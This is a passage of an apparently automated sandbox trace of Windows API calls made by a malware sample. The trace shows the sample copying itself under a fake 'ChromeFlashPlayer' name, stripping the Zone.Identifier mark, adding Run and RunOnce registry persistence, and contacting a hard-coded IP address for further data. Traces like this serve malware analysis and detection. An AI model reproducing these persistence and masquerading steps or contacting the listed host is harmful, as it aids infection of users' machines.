lpData="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe") returned 0x0 [0152.515] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.515] RegFlushKey (hKey=0x110) returned 0x0 [0152.524] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.524] RegCloseKey (hKey=0x110) returned 0x0 [0152.525] LoadLibraryExA (lpLibFileName="user32.dll", hFile=0x0, dwFlags=0x0) returned 0x76950000 [0152.525] GetProcAddress (hModule=0x76950000, lpProcName="wsprintfW") returned 0x7697f890 [0152.525] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18ea78, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe")) returned 0x62 [0152.525] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ea60, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ea60*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.526] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0152.526] GetUserNameA (in: lpBuffer=0x18e944, pcbBuffer=0x18ea5c | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x18ea5c) returned 1 [0152.527] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74770000 [0153.806] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18ec80, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 1 [0153.818] wsprintfW (in: param_1=0x18ee88, param_2="%s\\ChromeFlashPlayer_%x%x.exe" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe") returned 75 [0153.818] wsprintfW (in: param_1=0x18f090, param_2="%s\\ChromeFlashPlayer_%x%x.exe:Zone.Identifier" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe:Zone.Identifier") returned 91 [0153.819] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\chromeflashplayer_c287f3826d6e218.exe"), bFailIfExists=0) returned 1 [0154.094] Sleep (dwMilliseconds=0x258) [0154.722] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\chromeflashplayer_c287f3826d6e218.exe:zone.identifier")) returned 0 [0154.723] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\chromeflashplayer_c287f3826d6e218.exe:zone.identifier")) returned 0 [0154.723] lstrcpyW (in: lpString1=0x18f298, lpString2="\"" | out: lpString1="\"") returned="\"" [0154.723] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe" | out: lpString1="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe") returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe" [0154.724] lstrcatW (in: lpString1="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe", lpString2="\"" | out: lpString1="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe\"") returned="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe\"" [0154.724] lstrlenW (lpString="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe\"") returned 77 [0154.724] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.724] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf023f, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x1d0) returned 0x0 [0154.725] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.725] RegSetValueExW (in: hKey=0x1d0, lpValueName="ChromeFlashPlayersHardWare", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe\"", cbData=0x9c | out: lpData="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe\"") returned 0x0 [0154.725] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.725] RegFlushKey (hKey=0x1d0) returned 0x0 [0154.737] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.737] RegCloseKey (hKey=0x1d0) returned 0x0 [0154.737] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.737] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SoftWare\\Microsoft\\Windows\\CurrentVersion\\RunOnce", ulOptions=0x0, samDesired=0xf023f, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x1d0) returned 0x0 [0154.738] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.738] RegSetValueExW (in: hKey=0x1d0, lpValueName="*ChromeFlashPlayers32", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe\"", cbData=0x9c | out: lpData="\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\ChromeFlashPlayer_c287f3826d6e218.exe\"") returned 0x0 [0154.739] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.739] RegFlushKey (hKey=0x1d0) returned 0x0 [0154.745] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76630000 [0154.745] RegCloseKey (hKey=0x1d0) returned 0x0 [0154.745] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x71140000 [0154.760] InternetOpenA (lpszAgent="Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x4000000) returned 0xcc0004 [0154.945] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x71140000 [0154.945] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://5.39.86.86/default.jpg", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c [0155.374] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77040000 [0155.375] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x71140000 [0155.375] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18f498, dwNumberOfBytesToRead=0x20, lpdwNumberOfBytesRead=0x18f4b8 | out: lpBuffer=0x18f498*, lpdwNumberOfBytesRead=0x18f4b8*=0x20) returned 1 [0155.375] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74770000 [0155.376] StrStrA (lpFirst="\n\r\n\r
\n\r\n\r